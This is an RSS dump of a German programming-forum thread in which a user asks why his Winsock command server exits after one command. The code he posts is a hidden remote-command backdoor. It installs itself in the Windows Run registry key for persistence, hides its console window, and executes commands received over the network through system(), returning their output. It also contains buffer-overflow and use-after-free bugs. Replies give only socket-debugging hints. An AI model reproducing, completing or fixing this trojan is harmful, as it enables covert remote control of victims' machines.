<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Winsock frage]]></title><description><![CDATA[<p>Hallo ich habe ein kleines client server programm geschrieben, der server empfängt befehle vom clienten und für diese aus, nur hab ich das problem, das sich der server schließt nachdem er 1 befehl abgearbeitet hat, ich möchte aber mehrere befehle wie nur einen vom server ausführen lassen, hier mal ein codeschnipsel vom server:</p>
<pre><code>// transfer data
  while(rc!=SOCKET_ERROR)
  {
    rc=recv(connectedSocket,buf,256,0);
    if(rc==0)
    {
      printf(&quot;Server hat die Verbindung getrennt..\n&quot;);
      break;
    }
    if(rc==SOCKET_ERROR)
    {
      printf(&quot;Fehler: recv, fehler code: %d\n&quot;,WSAGetLastError());
      break;
    }
//terminate string
    buf[rc+9]='\0';
//paste in file
    buf[rc]='&gt;';
    buf[rc+1]='c';
    buf[rc+2]=':';
    buf[rc+3]='\\';
    buf[rc+4]='a';
    buf[rc+5]='.';
    buf[rc+6]='t';
    buf[rc+7]='x';
    buf[rc+8]='t';
//run this on system
    system(buf); 

    FILE * pFile;
  long lSize;
  char * buffer;

  pFile = fopen ( &quot;c:\\a.txt&quot; , &quot;rb&quot; );
  if (pFile==NULL) exit (1);

// obtain file size
  fseek (pFile , 0 , SEEK_END);
  lSize = ftell (pFile);
  rewind (pFile);

// allocate memory to contain the whole file
  buffer = (char*) malloc (lSize);
  if (buffer == NULL) exit (2);

// copy the file into the buffer
  fread (buffer,1,lSize,pFile);

/*** the whole file is loaded in the buffer ***/

// terminate
  fclose (pFile);
  free (buffer);
       rc=send(connectedSocket,buffer,strlen(buffer),0);

  }
//close the winsockcrap
  closesocket(acceptSocket);
  closesocket(connectedSocket);
           }
      int startWinsock(void)
      	{
  	 WSADATA wsa;
//goto runit;     //dont compile
    return WSAStartup(MAKEWORD(2,0),&amp;wsa);
 	  		}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/175775/winsock-frage</link><generator>RSS for Node</generator><lastBuildDate>Sun, 12 Jul 2026 04:43:43 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/175775.rss" rel="self" type="application/rss+xml"/><pubDate>Wed, 14 Mar 2007 07:38:59 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Winsock frage on Wed, 14 Mar 2007 07:38:59 GMT]]></title><description><![CDATA[<p>Hallo ich habe ein kleines client server programm geschrieben, der server empfängt befehle vom clienten und für diese aus, nur hab ich das problem, das sich der server schließt nachdem er 1 befehl abgearbeitet hat, ich möchte aber mehrere befehle wie nur einen vom server ausführen lassen, hier mal ein codeschnipsel vom server:</p>
<pre><code>// transfer data
  while(rc!=SOCKET_ERROR)
  {
    rc=recv(connectedSocket,buf,256,0);
    if(rc==0)
    {
      printf(&quot;Server hat die Verbindung getrennt..\n&quot;);
      break;
    }
    if(rc==SOCKET_ERROR)
    {
      printf(&quot;Fehler: recv, fehler code: %d\n&quot;,WSAGetLastError());
      break;
    }
//terminate string
    buf[rc+9]='\0';
//paste in file
    buf[rc]='&gt;';
    buf[rc+1]='c';
    buf[rc+2]=':';
    buf[rc+3]='\\';
    buf[rc+4]='a';
    buf[rc+5]='.';
    buf[rc+6]='t';
    buf[rc+7]='x';
    buf[rc+8]='t';
//run this on system
    system(buf); 

    FILE * pFile;
  long lSize;
  char * buffer;

  pFile = fopen ( &quot;c:\\a.txt&quot; , &quot;rb&quot; );
  if (pFile==NULL) exit (1);

// obtain file size
  fseek (pFile , 0 , SEEK_END);
  lSize = ftell (pFile);
  rewind (pFile);

// allocate memory to contain the whole file
  buffer = (char*) malloc (lSize);
  if (buffer == NULL) exit (2);

// copy the file into the buffer
  fread (buffer,1,lSize,pFile);

/*** the whole file is loaded in the buffer ***/

// terminate
  fclose (pFile);
  free (buffer);
       rc=send(connectedSocket,buffer,strlen(buffer),0);

  }
//close the winsockcrap
  closesocket(acceptSocket);
  closesocket(connectedSocket);
           }
      int startWinsock(void)
      	{
  	 WSADATA wsa;
//goto runit;     //dont compile
    return WSAStartup(MAKEWORD(2,0),&amp;wsa);
 	  		}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1245144</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245144</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Wed, 14 Mar 2007 07:38:59 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Wed, 14 Mar 2007 15:37:22 GMT]]></title><description><![CDATA[<p>kann mir denn hier keiner helfen ?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245545</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245545</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Wed, 14 Mar 2007 15:37:22 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Wed, 14 Mar 2007 15:55:05 GMT]]></title><description><![CDATA[<p>Da Du mit asynchronen Sockets arbeitest (wie es aussieht), werden Funktionen wie <em>send oder recv</em> den Return-Wert WSAWOULDBLOCK liefern. Dieser signaliert aber eigentlich keinen Fehler, sondern zeigt lediglich an, dass diese Funktion das Programm potentiell blockiert. Dieses Flag musst Du also noch bei Deiner Fehlerprüfung ausschließen.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245563</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245563</guid><dc:creator><![CDATA[CodeFinder]]></dc:creator><pubDate>Wed, 14 Mar 2007 15:55:05 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Wed, 14 Mar 2007 17:33:53 GMT]]></title><description><![CDATA[<p>kannste mir evtl. n kleines bsp zeigen, weiß jetz nich so genau wie du das meinst, soll ich sc auf WSACOULDBLOCK prüfen(true) und das in nen header von ner while schleife packen ?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245653</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245653</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Wed, 14 Mar 2007 17:33:53 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Wed, 14 Mar 2007 18:05:31 GMT]]></title><description><![CDATA[<p>Hm hab leider kein Beispielcode... also in der Variable rc wird IMMER SOCKET_ERROR stehen.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245678</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245678</guid><dc:creator><![CDATA[CodeFinder]]></dc:creator><pubDate>Wed, 14 Mar 2007 18:05:31 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Wed, 14 Mar 2007 21:29:45 GMT]]></title><description><![CDATA[<p>was kann ich denn in den whileschleifenkopf reinschreiben damit das prog mich nich gleich wieder rausschmeinst und ich mehrere befehle ausführen kann ???</p>
<p>die whileschleiße ist ja, ausslaggebend:</p>
<pre><code>while(rc!=SOCKET_ERROR) 
  { 
    rc=recv(connectedSocket,buf,256,0); 
    if(rc==0) 
    { 
      printf(&quot;Server hat die Verbindung getrennt..\n&quot;); 
      break;
.
.
.
</code></pre>
<p>while(???) &lt;--- wat muss da drin stehn ?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245785</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245785</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Wed, 14 Mar 2007 21:29:45 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 00:29:51 GMT]]></title><description><![CDATA[<p>@peterr: Springt beim Code oben dann dein &quot;Server hat die Verbindung getrennt..&quot; an oder wie?</p>
<p>Ansonsten: Bei recv() aufpassen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";D"
      alt="😉"
    /></p>
<p>MSDN schrieb:</p>
<blockquote>
<p>calling recv will return <strong>as much data as is currently available—up to</strong> the size of the buffer specified.</p>
</blockquote>
<p>Heisst: Mit einem recv() kommen nicht zwingend immer 256-Blöcke wie vermutlich gewünscht an!</p>
<p>Microsoft macht das so:<br />
<a href="http://msdn2.microsoft.com/en-us/library/ms740146.aspx" rel="nofollow">http://msdn2.microsoft.com/en-us/library/ms740146.aspx</a></p>
<p><a class="plugin-mentions-user plugin-mentions-a" href="https://www.c-plusplus.net/forum/uid/12048">@CodeFinder</a>: Ich scheine gerade verwirrt zu sein, woran erkennst du das er non-blocking sockets hat? Hab ich was überlesen oder so? *confused*</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245824</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245824</guid><dc:creator><![CDATA[geeky]]></dc:creator><pubDate>Thu, 15 Mar 2007 00:29:51 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 07:26:31 GMT]]></title><description><![CDATA[<p>ich klatsch euch am besten mal den ganzen code rein:</p>
<pre><code>#include &lt;windows.h&gt;
#include &lt;winsock.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#define NUM_ELEMENTS(x)  (sizeof((x)) / sizeof((x)[0]))                     //needed for ip dedect

int startWinsock(void);
	int main()
		{
  	 	long rc;
      SOCKET acceptSocket;
      SOCKET connectedSocket;
      SOCKADDR_IN addr;
      char buf[256];
      char buf2[300];
//runit:   //dont compile
//Run programm on system startup
  HKEY hkey;
  HKEY KEY = HKEY_LOCAL_MACHINE;
  char place[100]= {&quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;};
  char name[100]= {&quot;Autostart&quot;};
  char value[100]= {&quot;C:\\Programme\\n32s.exe&quot;};

  RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&amp;hkey);
  RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
  RegCloseKey(hkey);

//dedect own ip
struct hostent* h;
  WSADATA wsaData;
  UCHAR   ucAddress[4];
  CHAR    szAddressInfo[64];
  CHAR    szHostName[MAX_PATH];

    WSAStartup(MAKEWORD(1, 1), &amp;wsaData);
    if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName)))
    {
        if(NULL != (h = gethostbyname(szHostName)))
        {
            for(unsigned x = 0; (h-&gt;h_addr_list[x]); x++)
            {
                ucAddress[0] = h-&gt;h_addr_list[x][0];
                ucAddress[1] = h-&gt;h_addr_list[x][1];
                ucAddress[2] = h-&gt;h_addr_list[x][2];
                ucAddress[3] = h-&gt;h_addr_list[x][3];
            }
        }
    }
    WSACleanup();

//Starting winsock
		rc = startWinsock();

//hide the server
    HWND hwnd = FindWindow(&quot;ConsoleWindowClass&quot;,NULL);
   ShowWindow(hwnd,SW_HIDE);

//winsock shit
      printf(&quot;Norb32 Server © CC_IP 2006\n&quot;);
  	   if(rc!=0)
      	{
     	 	printf(&quot;\nFehler: startwinsock, fehler code: %d\n&quot;,rc);
      	return 1;
      	}
      	else
      	{
      	printf(&quot;\nWinsock gestartet!\n&quot;);
      	}

		   acceptSocket=socket(AF_INET,SOCK_STREAM,0);
         if(acceptSocket==INVALID_SOCKET)
         {
         printf(&quot;\nFehler: Der socket konnte nicht erstellt werden, fehler code: %d\n&quot;,WSAGetLastError());
         return 1;
         }
         else
         {
         printf(&quot;\nSocket erstellt!\n&quot;);
         }

   memset(&amp;addr,0,sizeof(SOCKADDR_IN));
   addr.sin_family=AF_INET;
   addr.sin_port=htons(12345);
   addr.sin_addr.s_addr=inet_addr(szAddressInfo);

   rc=bind(acceptSocket,(SOCKADDR*)&amp;addr,sizeof(SOCKADDR_IN));

   if(rc==SOCKET_ERROR)
   	{
      printf(&quot;\nFehler: bind gescheitert, fehler code: %d\n&quot;,WSAGetLastError());
      }
      else
      {
      printf(&quot;\nSocket an Port 12345 gebunden\n&quot;);
      }

      rc=listen(acceptSocket,10);
      if(rc==SOCKET_ERROR)
      {
      printf(&quot;\nFehler: listen, fehler code: %d&quot;,WSAGetLastError());
      }
      else
      {
      printf(&quot;\nacceptSocket ist im Listen Modus warte auf Verbindung...\n&quot;);
      }

      connectedSocket=accept(acceptSocket,NULL,NULL);
      if(connectedSocket==INVALID_SOCKET)
      	{
         printf(&quot;Fehler: accept, fehler code: %d\n&quot;, WSAGetLastError());
         }
         else
         {
         printf(&quot;Neue Verbindung wurde akzeptiert!\n&quot;);
         }
// transfer data
  while(rc!=SOCKET_ERROR)
  {
    rc=recv(connectedSocket,buf,256,0);
    if(rc==0)
    {
      printf(&quot;Server hat die Verbindung getrennt..\n&quot;);
      break;
    }
    if(rc==SOCKET_ERROR)
    {
      printf(&quot;Fehler: recv, fehler code: %d\n&quot;,WSAGetLastError());
      break;
    }
//terminate string
    buf[rc+9]='\0';
//paste in file
    buf[rc]='&gt;';
    buf[rc+1]='c';
    buf[rc+2]=':';
    buf[rc+3]='\\';
    buf[rc+4]='a';
    buf[rc+5]='.';
    buf[rc+6]='t';
    buf[rc+7]='x';
    buf[rc+8]='t';
//run this on system
    system(buf); 

    FILE * pFile;
  long lSize;
  char * buffer;

  pFile = fopen ( &quot;c:\\a.txt&quot; , &quot;rb&quot; );
  if (pFile==NULL) exit (1);

// obtain file size
  fseek (pFile , 0 , SEEK_END);
  lSize = ftell (pFile);
  rewind (pFile);

// allocate memory to contain the whole file
  buffer = (char*) malloc (lSize);
  if (buffer == NULL) exit (2);

// copy the file into the buffer
  fread (buffer,1,lSize,pFile);

/*** the whole file is loaded in the buffer ***/

// terminate
  fclose (pFile);
  free (buffer);
       rc=send(connectedSocket,buffer,strlen(buffer),0);

  }
//close the winsockcrap
  closesocket(acceptSocket);
  closesocket(connectedSocket);
           }
      int startWinsock(void)
      	{
  	 WSADATA wsa;
//goto runit;     //dont compile
    return WSAStartup(MAKEWORD(2,0),&amp;wsa);
 	  		}

// Developed by CC_IP powered by www.excluded.org
// i know this serverprogramm is easily exploitable...
</code></pre>
<p>so das mal der server source.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245853</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245853</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Thu, 15 Mar 2007 07:26:31 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 07:38:08 GMT]]></title><description><![CDATA[<p>geeky schrieb:</p>
<blockquote>
<p><a class="plugin-mentions-user plugin-mentions-a" href="https://www.c-plusplus.net/forum/uid/12048">@CodeFinder</a>: Ich scheine gerade verwirrt zu sein, woran erkennst du das er non-blocking sockets hat? Hab ich was überlesen oder so? *confused*</p>
</blockquote>
<p>Ne hast Recht, hab einfach mal (ganz dreißt <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /> ) wegen dem <em>WSAStartup</em> (kp, warum ^^) auf ein <em>WSAAsyncSelect</em> geschlossen, aber in seinem letzten Posting sieht mans ja, dass es keine Non-Blocking-Sockets sind <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /> . Sry, my fault <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /> !</p>
<p>Also, @peterr: Vergiss was ich hier geschrieben habe, ist hier nicht zutreffend <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/26a0.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--warning"
      title=":warning:"
      alt="⚠"
    /> , Sry!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245856</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245856</guid><dc:creator><![CDATA[CodeFinder]]></dc:creator><pubDate>Thu, 15 Mar 2007 07:38:08 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 09:19:12 GMT]]></title><description><![CDATA[<p>hmm, jo, hab mir schon gedacht wie jetz asynchron, hab ich ja eigentl nix drinne, aber wie gesagt ich hatte dich au ned richtig verstanden, was du gemeint hast, drum die frage. Bleibt jetz nur noch die frage wie ich mein prob löschen kann ^^</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245904</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245904</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Thu, 15 Mar 2007 09:19:12 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 09:19:58 GMT]]></title><description><![CDATA[<p>ehm ich meinte natürlich wie ich mein prob lösen nich löschen kann <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245906</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245906</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Thu, 15 Mar 2007 09:19:58 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 11:59:18 GMT]]></title><description><![CDATA[<p>Wo steigt der Server denn aus? bzw. was gibt er so aus?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1245997</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1245997</guid><dc:creator><![CDATA[geeky]]></dc:creator><pubDate>Thu, 15 Mar 2007 11:59:18 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 12:58:31 GMT]]></title><description><![CDATA[<p>sobald ich ihm vom client einen befehl schicke (den er in system() ausführt) wird der befehl ausgeführt und der server schließt sich ohne meldung... einen 2. befehl kann ich ihm nicht schicken, da er sich sofort nach dem ausführen des ersten befehls den er bekommt, sich schließt.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1246047</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1246047</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Thu, 15 Mar 2007 12:58:31 GMT</pubDate></item><item><title><![CDATA[Reply to Winsock frage on Thu, 15 Mar 2007 13:12:39 GMT]]></title><description><![CDATA[<p>kannst du den server nicht einfach debuggen und nachschauen was er NACH dem system() aufruf macht ?<br />
desweiteren kann ich nur raten ein paar kontrollausschrifften zu machen ala printf(&quot;Methode/Schleife X rein&quot;) printf(&quot;Methode/Schleife X raus&quot;)</p>
<p>EDIT: kann es sein das dein Client closesocket() nach der übertragung ausführt oder gar beendet wird ?<br />
recv() gibt bei erfolgreich geschlossener Socketverbindung (egal ob client oder server das macht) 0 zurück!</p>
<p>EDIT-buttondrückenisssogeil^^: du hastb deinen Code doch so schnön kommentiert, gib deine kommentare doch einfach via printf() aus<br />
und vergiss das system(pause) am ende deiner main nicht bevor du das programm beendest</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1246053</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1246053</guid><dc:creator><![CDATA[Ceos]]></dc:creator><pubDate>Thu, 15 Mar 2007 13:12:39 GMT</pubDate></item></channel></rss>